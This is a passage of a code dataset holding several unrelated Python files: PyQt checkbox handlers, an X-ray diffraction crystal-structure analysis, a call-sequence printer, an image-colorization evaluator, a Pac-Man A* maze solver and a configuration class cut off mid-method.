else:\n self.h53o = 0\n\n def change52s(self, state): \n if state == QtCore.Qt.Checked:\n self.h52s = 1\n else:\n self.h52s = 0\n\n def change52o(self, state): \n if state == QtCore.Qt.Checked:\n self.h52o = 1\n else:\n self.h52o = 0\n\n #4\n def change44(self, state): \n if state == QtCore.Qt.Checked:\n self.h44 = 1\n else:\n self.h44 = 0 \n\n def change43s(self, state): \n if state == QtCore.Qt.Checked:\n self.h43s = 1\n else:\n self.h43s = 0\n\n def change43o(self, state): \n if state == QtCore.Qt.Checked:\n self.h43o = 1\n else:\n self.h43o = 0\n\n def change42s(self, state): \n if state == QtCore.Qt.Checked:\n self.h42s = 1\n else:\n self.h42s = 0\n\n def change42o(self, state): \n if state == QtCore.Qt.Checked:\n self.h42o = 1\n else:\n self.h42o = 0\n\n #3\n def change33(self, state): \n if state == QtCore.Qt.Checked:\n self.h33 = 1\n else:\n self.h33 = 0 \n\n def change32s(self, state): \n if state == QtCore.Qt.Checked:\n self.h32s = 1\n else:\n self.h32s = 0\n\n def change32o(self, state): \n if state == QtCore.Qt.Checked:\n self.h32o = 1\n else:\n self.h32o = 0\n\n #2\n def change22(self, state): \n if state == QtCore.Qt.Checked:\n self.h22 = 1\n else:\n self.h22 = 0\n \ndef main():\n \n app = QtGui.QApplication(sys.argv)\n ex = Example()\n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"ranges.py","file_name":"ranges.py","file_ext":"py","file_size_in_byte":88294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"617270459","text":"import math # Matheumgebung für Funktionen und Konstanten\nimport numpy as np # Matheumgebung für Funktionen und Konstanten\nimport matplotlib as mlp #plotten\nimport matplotlib.pyplot as plt #plotten\nimport scipy.constants as const #fitten\nfrom scipy.optimize import curve_fit\nfrom uncertainties import ufloat, umath #ab hier Pakete für Fehlerrechnung.\nfrom uncertainties import unumpy as unp\nfrom uncertainties.unumpy import (nominal_values as noms, std_devs as stds)\nfrom scipy.optimize import curve_fit\nfrom scipy.stats import sem\nfrom scipy import integrate\n\n####################################################################################################\n# alle Konstanten werden hier definiert\n####################################################################################################\n\nlambda_1 = 1.5417e-10 # in m\nRadius_kamera = 0.0573 #in m\nradius_rohr = 0.4e-3\nAbstand_FP = 0.130 # in m -> Abstand Fokus Probe\numfang_kamera = 2*np.pi*Radius_kamera # Umfang\nFehler_radius = 0.001 # in m -> der Fehler der auf jeden Radius Wert durch das Lineal drauf gerechnet werden muss\n\n####################################################################################################\n# alle globalen Variablen werden hier definiert\n####################################################################################################\n\ngitter_moegl = ['SC','FCC','BCC','Diamant']\n\n\n####################################################################################################\n# Funktionen zur Strukturbestimmung\n####################################################################################################\n\ndef Strukturamplitude(f = 1, gitter = 'SC'): # gitter = 'SC', 'BCC', 'FCC', 'Diamant'\n\tprint('Strukturamplitude wird berechnet für ' + gitter + '.')\n\tif gitter == 'SC':\n\t\tr = np.array([[0,0,0]])\n\telif gitter == 'BCC':\n\t\tr = np.array([[0,0,0],[.5,.5,.5]])\n\telif gitter == 'FCC':\n\t\tr = np.array([[0,0,0],[.5,.5,0],[.5,0,.5],[0,.5,.5]])\n\telif gitter == 'Diamant':\n\t\tr = np.array([[0,0,0],[.5,.5,0],[.5,0,.5],[0,.5,.5],[0.25,.25,.25],[.75,.75,.25],[.75,.25,.75],[.25,.75,.75]])\n\n\tm = []\n\tm_reflexe = []\n\ttemp = 0\n\tS = 0\n\treflexe = []\n\tfor h in range(0,10):\n\t\tfor k in range(0,h+1):\n\t\t\tfor l in range(0,k+1):\n\t\t\t\ttemp = h**2 + k**2 + l**2\n\t\t\t\tif temp not in m and temp != 0:\n\t\t\t\t\tS = 0\n\t\t\t\t\tfor i in range(0,len(r)):\n\t\t\t\t\t\tS = S + f * np.exp(-2j * np.pi * (r[i][0] * h + r[i][1] * k + r[i][2] * l))\n\t\t\t\t\tm.append(h**2 + k**2 + l**2)\n\t\t\t\t\tif 0.001 < abs(S): # es wird nie ganz Null weil Computaional Physics\n\t\t\t\t\t\treflexe.append([h, k, l])\n\t\t\t\t\t\tm_reflexe.append(h**2 + k**2 + l**2)\n\t\t\t\telse:\n\t\t\t\t\tpass\n\tinfos = [reflexe, m_reflexe]\n\n\treturn infos\n\ndef bragg(lambdaa, theta):\n return lambdaa / (2 * np.sin(theta))\n\ndef findStructure(m, d):\n\tverhaeltnis_m = []\n\tverhaeltnis_d = []\n\n\tfor i in range(0,len(d)):\n\t\tverhaeltnis_m.append(np.sqrt(m[i] / m[0]))\n\t\tverhaeltnis_d.append(d[0] / d[i])\n\n\tverhaeltnisse = np.array([verhaeltnis_m, verhaeltnis_d])\n\n\treturn verhaeltnisse\n\ndef abweichung(verhaeltnis_m, verhaeltnis_d):\n\tXi2 = sum((verhaeltnis_d - verhaeltnis_m)**2 / verhaeltnis_m)\n\n\treturn Xi2\n\ndef gitterkonstanteBragg(m, d):\n\ta = []\n\n\tfor i in range(0,len(d)):\n\t\ta.append(np.sqrt(m[i]) * d[i])\n\n\treturn a\n\n####################################################################################################\n# Allgemeine Funktionen\n####################################################################################################\n\ndef lin(x, a, b):\n\treturn a * x + b\n\ndef theta_radiant(radius): # diese Funktion gibt einen uarray raus in dem Theta steht; umgerechnet aus dem gemessenen Radius\n\tradius_unp = unp.uarray(radius, Fehler_radius)\n\ttheta = radius_unp / (4*Radius_kamera)\n\n\treturn np.sort(theta) # in radianten + Fehler\n\ndef radius():\n\tradius_vorne, radius_rueck = np.genfromtxt('MetallRadius.txt', unpack = True) # das ist ein 2D array, der in der ersten Spalte die Radien weg von der Röntgenquelle hat und in der zweiten zur Röntgenquelle\n\tradius_rueck = umfang_kamera - radius_rueck\n\tradius_rueck = radius_rueck[::-1]\n\tradius = np.concatenate((radius_vorne, radius_rueck), axis = 0)\n\n\treturn radius\n\n####################################################################################################\n# Und los\n####################################################################################################\n\ndef main():\n\n\tprint('\\n#################### Analyse für Metall ####################\\n')\n\tprint('radius', radius())\n\n\tXi2_best = ['SC', 20] # SC ist in dem Fall ein Platzhalter. Die 20 garantiert, dass ein jedes Xi zunächst kleiner ist.\n\t\n\tdaten = np.array([44.5, 64.5, 81.5, 98.5, 114.5, 134.5])\n\tdaten = (daten * np.pi) / (360)\n\t\n\t# theta = theta_radiant(radius())\n\ttheta =daten\n\tprint('Theta mit Fehler: ', theta)\n\tnetzebenenabstand = bragg(lambda_1, noms(theta))\n\n\treflexe_SC = []\n\treflexe_FCC = []\n\treflexe_BCC = []\n\treflexe_Diamant = []\n\n\tverhaeltnisse_temp = []\n\n\tfor gitter in gitter_moegl:\n\t\tinfos = Strukturamplitude(gitter = gitter)\n\t\treflexe = np.array(infos[0])\n\t\t# print(gitter +': ',reflexe[np.argsort(infos[1])])\n\t\tm = infos[1]\n\t\tm = np.sort(m)\n\n\t\tverhaeltnisse = findStructure(m, netzebenenabstand)\n\t\tverhaeltnisse_temp = verhaeltnisse[0]\n\t\t# verhaeltnis_m = np.sort(verhaeltnisse[0])\n\t\tverhaeltnis_m = verhaeltnisse[0]\n\t\tif gitter == 'SC':\n\t\t\treflexe_SC = verhaeltnis_m\n\t\telif gitter == 'FCC':\n\t\t\treflexe_FCC = verhaeltnis_m\n\t\telif gitter == 'BCC':\n\t\t\treflexe_BCC = verhaeltnis_m\n\t\telif gitter == 'Diamant':\n\t\t\treflexe_Diamant = verhaeltnis_m\n\n\t\tverhaeltnis_d = np.sort(verhaeltnisse[1])\n\n\t\tprint('sqrt(m_i/m_1): ', verhaeltnis_m)\n\t\tprint('d_1/d_i: ', verhaeltnis_d)\n\n\t\tprint('Verhältnisse für die m Werte: ', verhaeltnis_m)\n\t\tprint('Verhältnisse für die d Werte: ', verhaeltnis_d)\n\t\tprint('Abweichung Xi^2 für die ' + gitter + ' Sturktur: ', abweichung(verhaeltnis_m, verhaeltnis_d))\n\n\t\tif abweichung(verhaeltnis_m, verhaeltnis_d) < Xi2_best[1]:\n\t\t\tXi2_best = [gitter, abweichung(verhaeltnis_m, verhaeltnis_d)]\n\n\tprint('Struktur mit der kleinsten Abweichung: ', Xi2_best[0])\n\tprint('Abweichung Xi^2: ', Xi2_best[1])\n\n\tm = Strukturamplitude(gitter = Xi2_best[0])[1]\n\ta = np.array(gitterkonstanteBragg(m, netzebenenabstand))\n\n\tprint('Gitterkonstanten für ' + Xi2_best[0] + ' Struktur: ', a)\n\n\t####################################################################################################\n\t# Systematischer Fehler\n\t####################################################################################################\n\n\t# systematischer Fehler Absorption der Röntgenstrahlung\n\n\tDeltaA = (radius_rohr / (2 * Radius_kamera)) * (1 - Radius_kamera / Abstand_FP) * (np.cos(noms(theta))**2 / noms(theta)) * a\n\n\ta_mitFehler = unp.uarray(a, DeltaA)\n\tprint('Gitterkonstanten mit Fehler durch die Absorption: ', a_mitFehler)\n\n\t####################################################################################################\n\t# curve_fit zeugs\n\t####################################################################################################\n\n\n\t# linearer fit für a gegen cos^2\n\t# params, cov = curve_fit(lin,np.cos(noms(theta))**2,noms(a_mitFehler), sigma = stds(a_mitFehler))\n\tparams, cov = curve_fit(lin,np.cos(noms(theta))**2,noms(a_mitFehler))\n\terr = np.sqrt(np.diag(cov))\n\ta_extrp = ufloat(params[1], err[1])\n\tprint('Extrapolierte Gitterkonstante: ', a_extrp)\n\n\t####################################################################################################\n\t# Plots\n\t####################################################################################################\n\n\tcos2Theta = unp.cos(theta)**2\n\tcos2Theta_fit = np.linspace(0, 1)\n\n\t####### ab hier der a gegen cos^2 Plot ########\n\tplt.errorbar(np.cos(noms(theta))**2, a, xerr=stds(cos2Theta), yerr=DeltaA, fmt='x', label = 'Daten')\n\tplt.plot(cos2Theta_fit, lin(cos2Theta_fit, *params), label = 'Fit')\n\tplt.legend(loc = 'best')\n\tplt.xlabel('cos$^2(\\Theta)$')\n\tplt.ylabel('$a$ in Angtröm')\n\t# plt.xlim(0.6,1)\n\t# plt.ylim(4.8e-10,5.8e-10)\n\tplt.tight_layout()\n\tplt.grid()\n\tplt.savefig('Plots/Metall_Fit.pdf')\n\tplt.close()\n\n\ti = np.linspace(1,6,6)\n\n\tverhaeltnisse_daten = []\n\tfor j in range(0,len(daten)):\t\n\t\tverhaeltnisse_daten.append(unp.sin(daten[j]) / unp.sin(daten[0]))\n\n\tplt.plot(i, reflexe_SC, 'o', label = 'SC')\n\tplt.plot(i, reflexe_FCC, 'o', label = 'FCC')\n\tplt.plot(i, reflexe_BCC, 'o', label = 'BCC')\n\tplt.plot(i, reflexe_Diamant, 'o', label = 'Diamant')\n\tplt.plot(i, noms(verhaeltnisse_daten), 'x', label = 'data')\n\tplt.xlabel('i')\n\tplt.xlim(0,7)\n\tplt.ylim(0,4)\n\tplt.ylabel('verhältnisse')\n\tplt.legend(loc = 'best')\n\tplt.tight_layout()\n\tplt.grid()\n\tplt.savefig('Plots/verhaeltnisse.pdf')\n\tplt.close()\n\nmain()\n","sub_path":"auswertungMetall.py","file_name":"auswertungMetall.py","file_ext":"py","file_size_in_byte":8699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"45916753","text":"#!/usr/bin/python\nfrom primitiveProvider import primitiveProvider as ppder\nclass seqPrinter(object):\n def __init__(self):\n pass\n def cals2s(self,seq):\n self.seq=seq\n self.p=''\n for c in self.seq.calls:\n self.p+=self.cal2s(c)\n self.p+='\\n'\n return self.p\n def cal2s(self,call):\n from tasks import mvariable\n cs=''\n if call.ret!=None:\n cs += call.atm.returntype+' '+self.seq.vid(call.ret)+' = '\n if call.atm.isconstructor==True:\n cs += call.atm.cls\n elif call.atm.isstatic==True:\n cs += call.atm.cls+'.'+call.atm.name\n else:\n cs += self.seq.vid(call.rec)+'.'+call.atm.name\n if call.atm.isfield==False:\n cs +='('\n cargs=[]\n \n for p in range(len(call.args)):\n arg=call.args[p]\n ags=''\n if arg=='null':\n ags+='null'\n if isinstance(arg,mvariable):\n ags+=self.seq.vid(arg)\n else:\n ags+=str(arg)\n #ts=call.atm.paramtypes[p]\n cargs.append(ags)\n cs+=','.join(cargs)\n cs+=')'\n \n cs+=';'\n return cs\n \n def con2s(self,c):\n pass\n \n \n\n","sub_path":"mars/seqPrinter.py","file_name":"seqPrinter.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"161097627","text":"import numpy as np\nfrom utils import read_image\nimport sys\n\n\ndef main(argv):\n if len(argv) != 2:\n print(\"Usage: python evaluate.py estimations.npy img_names.txt\")\n exit()\n \n with open(argv[1], \"r\") as f:\n files = f.readlines()\n \n estimations = np.load(argv[0])\n \n acc = 0\n for i, file in enumerate(files):\n cur = read_image(\"color_256/\" + file.rstrip()).reshape(-1).astype(np.int64)\n est = estimations[i].reshape(-1).astype(np.int64)\n \n cur_acc = (np.abs(cur - est) < 12).sum() / cur.shape[0]\n acc += cur_acc\n acc /= len(files)\n print(f\"{acc:.5f}/1.00\")\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"130199906","text":"import sys\nimport time\nimport copy\nimport numpy as np\nimport collections\n\ndef findStart(maze):\n \"\"\"\n Find the start position of the maze\n \"\"\"\n start_Position = 0\n for i in range(0, len(maze)):\n for j in range(0, len(maze[0])):\n if maze[i][j] == 'P':\n start_Position = i * len(maze[0]) + j\n return start_Position\n return -1\n\n\ndef findEnd(maze):\n \"\"\"\n Find the end position of the maze\n \"\"\"\n final_Position = 0\n for i in range(0, len(maze)):\n for j in range(0, len(maze[0])):\n if maze[i][j] == '.':\n final_Position = i * len(maze[0]) + j\n return final_Position\n return -1\n\n\ndef distance(currX, currY, targetX, targetY):\n \"\"\"\n Get the distance between two positions\n \"\"\"\n return abs(currX - targetX) + abs(currY - targetY)\n\n\ndef Astar(maze, startX, startY, endX, endY):\n \"\"\"\n Find the solution of the maze(A*)\n \"\"\"\n #Get the width, height and size of maze\n width = len(maze[0])\n height = len(maze)\n size = width * height\n\n #Mark visited place\n visited = [0 for x in range(size)]\n\n #distance value\n f_value = [sys.maxsize for x in range(size)]\n #total value\n t_value = [sys.maxsize for x in range(size)]\n\n #Keep track of the position of parent node\n parent_Position = [0 for x in range(size)]\n\n #Keep track of the number of node expanded\n node_expanded = 0\n\n start_Position = startY * width + startX\n list = []\n list.append(start_Position)\n f_value[start_Position] = 0\n t_value[start_Position] = distance(startX, startY, endX, endY)\n\n while len(list) != 0:\n #find current best\n curr = findMin_Astar(list, t_value)\n currY = curr / width\n currX = curr % width\n if currX == endX and currY == endY:\n break\n #Target Position finded\n list.remove(curr)\n visited[curr] = 1\n\n #Increase the node expanded\n node_expanded += 1\n\n #Left\n if currX - 1 >= 0 and maze[currY][currX - 1] != '%':\n if visited[curr - 1] != 1:\n if curr - 1 not in list:\n list.append(curr - 1)\n curr_val = f_value[curr] + 1\n if curr_val < f_value[curr - 1]:\n f_value[curr - 1] = curr_val\n t_value[curr - 1] = f_value[curr - 1] + distance((curr - 1) % width, (curr - 1) / width, endX, endY)\n parent_Position[curr - 1] = curr\n\n #Right\n if currX + 1 < width and maze[currY][currX + 1] != '%':\n if visited[curr + 1] != 1:\n if curr + 1 not in list:\n list.append(curr + 1)\n curr_val = f_value[curr] + 1\n if curr_val < f_value[curr + 1]:\n f_value[curr + 1] = curr_val\n t_value[curr + 1] = f_value[curr + 1] + distance((curr + 1) % width, (curr + 1) / width, endX, endY)\n parent_Position[curr + 1] = curr\n\n #Up\n if currY - 1 >= 0 and maze[currY - 1][currX] != '%':\n if visited[curr - width] != 1:\n if curr - width not in list:\n list.append(curr - width)\n curr_val = f_value[curr] + 1\n if curr_val < f_value[curr - width]:\n f_value[curr - width] = curr_val\n t_value[curr - width] = f_value[curr - width] + distance((curr - width) % width, (curr - width) / width, endX, endY)\n parent_Position[curr - width] = curr\n\n #Down\n if currY + 1 < height and maze[currY + 1][currX] != '%':\n if visited[curr + width] != 1:\n if curr + width not in list:\n list.append(curr + width)\n curr_val = f_value[curr] + 1\n if curr_val < f_value[curr + width]:\n f_value[curr + width] = curr_val\n t_value[curr + width] = f_value[curr + width] + distance((curr + width) % width, (curr + width) / width, endX, endY)\n parent_Position[curr + width] = curr\n\n step_cost = 0\n #Generate solution path\n position = endY * width + endX\n while position != start_Position:\n position = parent_Position[position]\n step_cost += 1\n\n return step_cost\n\n\ndef permutation(nums):\n \"\"\"\n Get the permutation of the list\n \"\"\"\n list = []\n temp = []\n backtrack(list, temp, nums)\n return list\n\ndef backtrack(list, temp, nums):\n \"\"\"\n Helper function for permutation\n \"\"\"\n if len(temp) == len(nums):\n list.append(temp[:])\n else:\n for i in range(0, len(nums)):\n if(nums[i] in temp):\n continue\n temp = temp + [nums[i]]\n backtrack(list, temp, nums)\n temp.pop()\n\n\ndef num_of_goals(maze):\n \"\"\"\n Find the number of goals\n \"\"\"\n count = 0\n for i in range(0, len(maze)):\n for j in range(0, len(maze[0])):\n if maze[i][j] == '.':\n count += 1\n return count\n\n\ndef list_of_points(maze):\n \"\"\"\n Return positions of all points\n \"\"\"\n result = []\n for i in range(0, len(maze)):\n for j in range(0, len(maze[0])):\n if maze[i][j] == '.':\n result.append((j, i))\n return result\n\n\ndef closest_fruit(maze, currX, currY, fruit_list):\n \"\"\"\n This function finds the nearest fruit of current position\n \"\"\"\n curr_min = sys.maxsize\n for position in fruit_list:\n distance = Astar(maze, currX, currY, position[0], position[1])\n if distance < curr_min:\n curr_min = distance\n return curr_min\n\n\ndef findMin_Astar(list, t_value):\n \"\"\"\n Get the min f_value of a list\n \"\"\"\n currMin = sys.maxsize\n result = 0\n for index in list:\n if t_value[index] < currMin:\n currMin = t_value[index]\n result = index\n return result\n\n\ndef findMin(list, t_value):\n \"\"\"\n Get the min f_value of a list\n \"\"\"\n currMin = sys.maxsize\n result = 0\n for index in list:\n if t_value[(index[0], index[1], tuple(index[2].items()))] < currMin:\n currMin = t_value[(index[0], index[1], tuple(index[2].items()))]\n result = index\n return result\n\ndef position_of_points(maze):\n \"\"\"\n Get the position of points in a maze\n \"\"\"\n result = {}\n count = 0\n for i in range(len(maze)):\n for j in range(len(maze[0])):\n if maze[i][j] == '.':\n result[(j, i)] = 1\n return result\n\n\ndef mst(maze, currX, currY, fruit_list, fruit_distance):\n\n for fruit in fruit_list:\n if ((currX, currY), fruit) not in fruit_distance:\n d = Astar(maze, currX, currY, fruit[0], fruit[1])\n fruit_distance[((currX, currY), fruit)] = d\n fruit_distance[(fruit, (currX, currY))] = d\n\n visited = []\n visited.append((currX, currY))\n\n minimum = 0\n\n while len(fruit_list) != 0:\n curr_min = sys.maxsize\n remove = (0, 0)\n for v in visited:\n for uv in fruit_list:\n d = fruit_distance[(v, uv)]\n if d < curr_min:\n curr_min = d\n remove = uv\n minimum += curr_min\n visited.append(remove)\n fruit_list.remove(remove)\n\n return minimum\n\n###########################################\n\nif __name__ == \"__main__\":\n\n #Initialize maze\n width = 0\n height = 0\n infile = open('medium.txt', 'r')\n for line in infile:\n width = len(line)\n height = height + 1\n\n maze = [[0 for x in range(width)] for y in range(height)]\n infile = open('medium.txt', 'r')\n w = 0\n h = 0\n for line in infile:\n w = 0\n for c in line:\n if w < width:\n maze[h][w] = c\n w += 1\n h += 1\n\n\n #Get the width, height and size of maze\n width = len(maze[0])\n height = len(maze)\n size = width * height\n\n #Position of start node\n start_Position = findStart(maze)\n startX = start_Position % width\n startY = start_Position / width\n\n #distance value\n f_value = {}\n #total value\n t_value = {}\n\n #Keep track of the number of node expanded\n node_expanded = 0\n\n #The number of fruits\n num_of_goals = num_of_goals(maze)\n\n #the order of founded fruits\n order_of_fruits = []\n\n #the position of all fruits\n orig_fruit_list = list_of_points(maze)\n\n\n fruit_list = list_of_points(maze)\n\n fruit_distance = {}\n for i in range(0, len(fruit_list)):\n for j in range(i + 1, len(fruit_list)):\n d = Astar(maze, fruit_list[i][0], fruit_list[i][1], fruit_list[j][0], fruit_list[j][1])\n fruit_distance[(fruit_list[i], fruit_list[j])] = d\n fruit_distance[(fruit_list[j], fruit_list[i])] = d\n\n #Get the position dict of points\n points_position = position_of_points(maze)\n points_position = collections.OrderedDict(points_position)\n\n #Goal state of maze\n goal_state = collections.OrderedDict(points_position)\n\n for key in goal_state:\n goal_state[key] = 0\n goal_state = tuple(goal_state.items())\n\n\n #visited :\n #0 : x coordinate of current player\n #1 : y coordinate of current player\n #2 : dict of points position\n visited = {}\n\n f_value[(startX, startY, tuple(points_position.items()))] = 0\n t_value[(startX, startY, tuple(points_position.items()))] = mst(maze, startX, startY, orig_fruit_list, fruit_distance)\n\n #Keep track of total cost\n cost = 0\n\n #Keep track of node expanded\n node_expanded = 0\n\n list = []\n list.append((startX, startY, collections.OrderedDict(points_position)))\n\n parent = {}\n\n endX = 0\n endY = 0\n\n while len(list) != 0:\n\n #find current best\n curr = findMin(list, t_value)\n currX = curr[0]\n currY = curr[1]\n\n list.remove(curr)\n\n #Mark as visited\n visited[curr[0], curr[1], tuple(curr[2].items())] = 1\n\n find_all = False\n\n fruit_list1 = []\n for key in curr[2]:\n if curr[2][key] == 1:\n fruit_list1.append(key)\n\n #Check if any fruit is found\n for fruit in fruit_list1:\n if fruit[0] == currX and fruit[1] == currY:\n new_dict = collections.OrderedDict(curr[2])\n new_dict[(currX, currY)] = 0\n new_fruit_list = []\n for key in new_dict:\n if new_dict[key] == 1:\n new_fruit_list.append(key)\n\n new_dict_tuple = tuple(new_dict.items())\n curr_tuple = tuple(curr[2].items())\n\n f_value[(currX, currY, new_dict_tuple)] = f_value[(currX, currY, curr_tuple)]\n t_value[(currX, currY, new_dict_tuple)] = f_value[(currX, currY, new_dict_tuple)] + mst(maze, currX, currY, new_fruit_list, fruit_distance)\n\n parent[(currX, currY, new_dict_tuple)] = parent[(currX, currY, curr_tuple)]\n curr = (currX, currY, new_dict)\n visited[(currX, currY, curr_tuple)] = 1\n\n #Already find all the dots\n if tuple(new_dict.items()) == goal_state:\n find_all = True\n endX = currX\n endY = currY\n break\n\n break\n\n\n if find_all == True:\n break\n\n #Increase node_expanded\n node_expanded += 1\n\n print(node_expanded)\n\n orig = tuple(curr[2].items())\n orig_dict = collections.OrderedDict(curr[2])\n\n\n #Left\n if currX - 1 >= 0 and maze[currY][currX - 1] != '%':\n if (currX - 1, currY, orig) not in visited:\n visited[(currX - 1, currY, orig)] = 0\n if visited[(currX - 1, currY, orig)] != 1:\n if (currX - 1, currY, orig_dict) not in list:\n list.append((currX - 1, currY, orig_dict))\n #remainging list of fruits\n fruit_list = []\n for key in curr[2]:\n if curr[2][key] == 1:\n fruit_list.append(key)\n if (currX - 1, currY, orig) not in f_value:\n f_value[(currX - 1, currY, orig)] = f_value[(currX, currY, orig)] + 1\n t_value[(currX - 1, currY, orig)] = f_value[(currX - 1, currY, orig)] + mst(maze, currX - 1, currY, fruit_list, fruit_distance)\n parent[(currX - 1, currY, orig)] = (currX, currY, orig)\n else:\n curr_val = f_value[(currX, currY, orig)] + 1\n if curr_val < f_value[(currX - 1, currY, orig)]:\n f_value[(currX - 1, currY, orig)] = curr_val\n t_value[(currX - 1, currY, orig)] = f_value[(currX - 1, currY, orig)] + mst(maze, currX - 1, currY, fruit_list, fruit_distance)\n parent[(currX - 1, currY, orig)] = (currX, currY, orig)\n\n\n #Right\n if currX + 1 < width and maze[currY][currX + 1] != '%':\n if (currX + 1, currY, orig) not in visited:\n visited[(currX + 1, currY, orig)] = 0\n if visited[(currX + 1, currY, orig)] != 1:\n if (currX + 1, currY, orig_dict) not in list:\n list.append((currX + 1, currY, orig_dict))\n #remainging list of fruits\n fruit_list = []\n for key in curr[2]:\n if curr[2][key] == 1:\n fruit_list.append(key)\n if (currX + 1, currY, orig) not in f_value:\n f_value[(currX + 1, currY, orig)] = f_value[(currX, currY, orig)] + 1\n t_value[(currX + 1, currY, orig)] = f_value[(currX + 1, currY, orig)] + mst(maze, currX + 1, currY, fruit_list, fruit_distance)\n parent[(currX + 1, currY, orig)] = (currX, currY, orig)\n else:\n curr_val = f_value[(currX, currY, orig)] + 1\n if curr_val < f_value[(currX + 1, currY, orig)]:\n f_value[(currX + 1, currY, orig)] = curr_val\n t_value[(currX + 1, currY, orig)] = f_value[(currX + 1, currY, orig)] + mst(maze, currX + 1, currY, fruit_list, fruit_distance)\n parent[(currX + 1, currY, orig)] = (currX, currY, orig)\n\n #Up\n if currY - 1 >= 0 and maze[currY - 1][currX] != '%':\n if (currX, currY - 1, orig) not in visited:\n visited[(currX, currY - 1, orig)] = 0\n if visited[(currX, currY - 1, orig)] != 1:\n if (currX, currY - 1, orig_dict) not in list:\n list.append((currX, currY - 1, orig_dict))\n #remainging list of fruits\n fruit_list = []\n for key in curr[2]:\n if curr[2][key] == 1:\n fruit_list.append(key)\n if (currX, currY - 1, orig) not in f_value:\n f_value[(currX, currY - 1, orig)] = f_value[(currX, currY, orig)] + 1\n t_value[(currX, currY - 1, orig)] = f_value[(currX, currY - 1, orig)] + mst(maze, currX, currY - 1, fruit_list, fruit_distance)\n parent[(currX, currY - 1, orig)] = (currX, currY, orig)\n else:\n curr_val = f_value[(currX, currY, orig)] + 1\n if curr_val < f_value[(currX, currY - 1, orig)]:\n f_value[(currX, currY - 1, orig)] = curr_val\n t_value[(currX, currY - 1, orig)] = f_value[(currX, currY - 1, orig)] + mst(maze, currX, currY - 1, fruit_list, fruit_distance)\n parent[(currX, currY - 1, orig)] = (currX, currY, orig)\n\n #Down\n if currY + 1 < height and maze[currY + 1][currX] != '%':\n if (currX, currY + 1, orig) not in visited:\n visited[(currX, currY + 1, orig)] = 0\n if visited[(currX, currY + 1, orig)] != 1:\n if (currX, currY + 1, orig_dict) not in list:\n list.append((currX, currY + 1, orig_dict))\n #remainging list of fruits\n fruit_list = []\n for key in curr[2]:\n if curr[2][key] == 1:\n fruit_list.append(key)\n if (currX, currY + 1, orig) not in f_value:\n f_value[(currX, currY + 1, orig)] = f_value[(currX, currY, orig)] + 1\n t_value[(currX, currY + 1, orig)] = f_value[(currX, currY + 1, orig)] + mst(maze, currX, currY + 1, fruit_list, fruit_distance)\n parent[(currX, currY + 1, orig)] = (currX, currY, orig)\n else:\n curr_val = f_value[(currX, currY, orig)] + 1\n if curr_val < f_value[(currX, currY + 1, orig)]:\n f_value[(currX, currY + 1, orig)] = curr_val\n t_value[(currX, currY + 1, orig)] = f_value[(currX, currY + 1, orig)] + mst(maze, currX, currY + 1, fruit_list, fruit_distance)\n parent[(currX, currY + 1, orig)] = (currX, currY, orig)\n\n###########################################\n\n cost = f_value[(endX, endY, goal_state)]\n print(cost)\n\n print(node_expanded)\n\n start_state = (startX, startY, tuple(points_position.items()))\n curr_state = (endX, endY, goal_state)\n\n #reversed order of fruits visited\n order_of_fruits = []\n\n step_cost = 0\n while curr_state != start_state:\n prev_state = parent[curr_state]\n if prev_state[2] != curr_state[2]:\n for index in range(0, len(prev_state[2])):\n if prev_state[2][index][1] != curr_state[2][index][1]:\n order_of_fruits.append(prev_state[2][index][0])\n break\n curr_state = parent[curr_state]\n step_cost += 1\n\n print(step_cost)\n\n #Mark the order of dots\n symbol = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd' ,'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n']\n\n count = 0\n result_list = order_of_fruits[::-1]\n for fruit in result_list:\n maze[fruit[1]][fruit[0]] = symbol[count]\n count += 1\n print(result_list)\n\n result_maze = \"\"\n for i in range(len(maze)):\n for j in range(len(maze[0])):\n result_maze = result_maze + maze[i][j]\n result_maze = result_maze + '\\n'\n\n print(result_maze)\n\n\n###########################################\n","sub_path":"Astar/MP1.2/pacman.py","file_name":"pacman.py","file_ext":"py","file_size_in_byte":18575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"651916184","text":"\"\"\" Module for storing and updating configuration.\n\"\"\"\nfrom typing import Dict, Any\nimport inspect\nfrom schema import SchemaError, Schema\n\n\nclass InvalidConfigurationException(Exception):\n \"\"\" Exception raise on absent required configuration value\n \"\"\"\n\n\nclass Config:\n \"\"\" Configuration class used to store and update configuration information.\n \"\"\"\n\n __slots__ = ()\n\n SCHEMA = {}\n\n def __init__(self):\n \"\"\" Inherit __slots__\n\n Slots *are* inherited by subclasses but the __slots__ tuple itself\n is not populated with parent slots. The update method relies on\n being able to easily iterate through slots.\n \"\"\"\n def _parent_slots_gen(obj):\n for base in inspect.getmro(obj.__class__):\n if hasattr(base, '__slots__'):\n for slot in base.__slots__:\n yield slot\n\n self.__class__.__slots__ = \\\n (*_parent_slots_gen(self), *self.__class__.__slots__)\n\n def __getitem__(self, index):\n \"\"\" Get config option \"\"\"\n return getattr(self, index, None)\n\n def __contains__(self, subject):\n return hasattr(self, subject)\n\n @property\n def __dict__(self):\n \"\"\" Get dictionary representation of config \"\"\"\n def _dict_gen(slotted_object):\n for slot in slotted_object.__slots__:\n attr = getattr(slotted_object, slot, None)\n if attr is None:\n continue\n yield (slot, attr)\n\n return dict(_dict_gen(self))\n\n @classmethod\n def from_options(cls, options: Dict[str, Any]):\n \"\"\" Load configuration from a dictionary \"\"\"\n conf = cls()\n conf.update(options)\n conf.apply()\n return conf\n\n def update(self, options: Dict[str, Any]):\n \"\"\" Load configuration from the options dictionary.\n \"\"\"\n for slot in self.__slots__:\n if slot in options and options[slot] is not None:\n setattr(self, slot, options[slot])\n\n def apply(self):\n \"\"\" Validate updates to the configuration \"\"\"\n try:\n self.update( # Update with defaults added 